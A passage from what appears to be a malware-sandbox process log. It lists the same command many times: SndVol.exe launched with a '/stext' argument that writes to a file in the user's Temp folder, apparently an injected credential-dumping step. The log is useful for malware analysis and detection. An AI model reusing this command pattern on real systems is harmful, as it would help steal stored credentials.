C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6088

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6096

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6104

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6112

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6120

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6128

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6136

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:5804

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6148

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6156

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6164

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6172

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6180

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6188

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6196

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6204

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6212

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6220

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6228

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6236

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6244

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6252

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6260

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6268

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6276

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6284

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6292

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6300

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6308

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6316

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6324

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6332

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6340

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6348

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6356

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6364

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6372

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6380

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6388

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6396

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6404

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6412

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6420

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6428

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6436

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6444

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6452

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6460

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6468

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6476

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6484

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6492

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6500

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6508

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6516

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6524

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6532

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6540

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6548

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6556

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6564

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6572

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6580

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6588

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6596

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6604

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6612

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6620

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6628

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6636

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6644

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6652

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6660

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6668

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6676

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6684

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6692

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6700

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6708

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6716

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6724

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6732

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6740

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6748

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6756

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6764

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6772

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6780

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6788

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6796

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6804

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6812

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6820

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6828

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6836

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6844

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6852

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6860

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6868

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6876

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6884

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6892

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6900

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6908

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6916

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6924

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6932

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6940

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6948

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6956

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6964

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6972

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6980

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6988

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6996

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7004

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7012

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7020

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7028

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7036

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7044

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7052

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7060

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7068

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7076

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7084

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7092

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7100

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7108

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7116

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7124

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7132

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7140

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7148

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7156

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7164

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:6604

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7176

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7184

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7192

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7200

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7208

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7216

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7224

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7232

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7240

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7248

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7256

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7264

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7272

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7280

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7288

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7296

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7304

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7312

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7320

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7328

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7336

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7344

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7352

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7360

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7368

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7376

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7384

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7392

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7400

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7408

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7416

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7424

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tapoixibyy"
4⤵
PID:7432

C:\Windows\SysWOW64\SndVol.exe
